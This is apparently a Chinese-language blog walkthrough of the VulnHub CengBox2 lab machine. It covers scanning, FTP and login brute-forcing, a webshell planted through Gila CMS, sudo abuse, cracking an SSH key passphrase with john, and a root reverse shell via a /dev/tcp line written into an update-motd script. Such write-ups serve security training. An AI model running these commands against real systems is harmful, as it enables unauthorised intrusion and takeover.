CengBox2 walkthrought

前言

这回来做个中等难度的靶机CengBox2,又学到了很多新知识,这个靶机还是设计得挺好、挺巧妙的。

https://www.vulnhub.com/entry/cengbox-2,486/

利用过程

使用nmap扫描出21,22和80端口。

1
nmap -sV -T 4 -p- 192.168.100.102

打开网页说网站已不提供服务,例行扫目录也是没扫到扫描东西。

利用hydra爆破下root、ceng、ftp这几个账号的ftp密码,其中账号ftp被爆破出来了,而且是好几个密码!!后面试了下其实是没设密码,直接能登录。

1
hydra -P /usr/share/wordlists/fasttrack.txt -L userlist.txt ftp://192.168.100.102

登录进去有一则留言,说在一个新的域名ceng-company.vm里设置了一个面板,并为Kevin创建一个用户,密码为默认密码,那就是弱口令咯 :D

Hey Kevin,
I just set up your panel and used default password. Please change them before any hack.

I try to move site to new domain which name is ceng-company.vm and also I created a new area for you.

Aaron

当我改/etc/hosts令ceng-company.vm解析为192.168.100.102,重新回到页面,它还是原来的样子。

去偷瞄了下别人的walkthrough,网站原来是在子域名里。由于常用的一些子域名爆破工具都是居于DNS的,在这里肯定是没法用的,所以直接把字典导入到burpsuite里,改Host爆破即可。

爆破到admin时可用看见返回的状态码和长度都跟别的不一样,所以可以确定正确的子域名就是这个了。

再在/etc/hosts里加一条admin.cencompany.vm解析到192.168.100.102。接下来依旧要爆破目录,一开始使用默认的字典没爆破出什么东西,后来换成dirburster的大字典就可以了。这里我用的是dirseach来爆破。

1
python3 dirsearch.py -u http://admin.ceng-company.vm/ -e all -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

网站是Gila CMS,搜到了两个有点用的洞,本地文件包含和文件上传绕过。

后台为admin,用户名提示为邮箱,那就用[email protected]。用burpsuite爆破,没一会就给ban了。

于是手动爆破,测到admin就进入到后台。进到后台发现不用搜到的漏洞也行,因为有文件管理功能,直接插入一句话即可。

反弹一个shell,用Privilege Escalation Awesome Scripts SUITE扫描了下可能可以提权的点。发现www-data可以无需密码,以swartz的身份运行/home/swartz/runphp.sh。

1
2
3
#!/bin/bash

php -a

运行这个脚本可交互地输入php代码,那即可弹出swartz的shell。由于反弹的shell显示php的交互界面不正常,可以用python3弹出个完整的shell。

1
2
python3 -c "import pty;pty.spawn('/bin/bash')"
sudo -u swartz /home/swartz/runphp.sh

现在就显示正常了。

再输入system("/bin/bash");弹出swartz的shell,用提权脚本重新扫描下,发现swartz可以读mitnick用户目录下的ssh私钥。

把私钥下载下来,使用私钥连接ssh时,发现是需要passphrase的。

john可以破解passphrase,先把ssh私钥转为john可识别的格式,再进行爆破。

1
2
/usr/share/john/ssh2john.py /tmp/rsa > /tmp/tmp
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/tmp

用密码legend,登录到mitnick,cat ~/user.txt拿到home目录下的flag。

除了无需密码sudo -u外,扫描还发现了/etc/update-motd.d目录下的脚本可写。这下脚本是属于root的可执行文件,每当有用户通过ssh登录时会以root权限自动运行,运行结果就是我们ssh登录时看到的欢迎信息。

在其中一个脚本里插入个反弹shell,退出并重新登录ssh,成功反弹root的shell回来。

1
/bin/bash -c "bash -i >& /dev/tcp/192.168.100.101/4444 0>&1"

参考

CengBox 2 Vulnhub Walkthrough

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×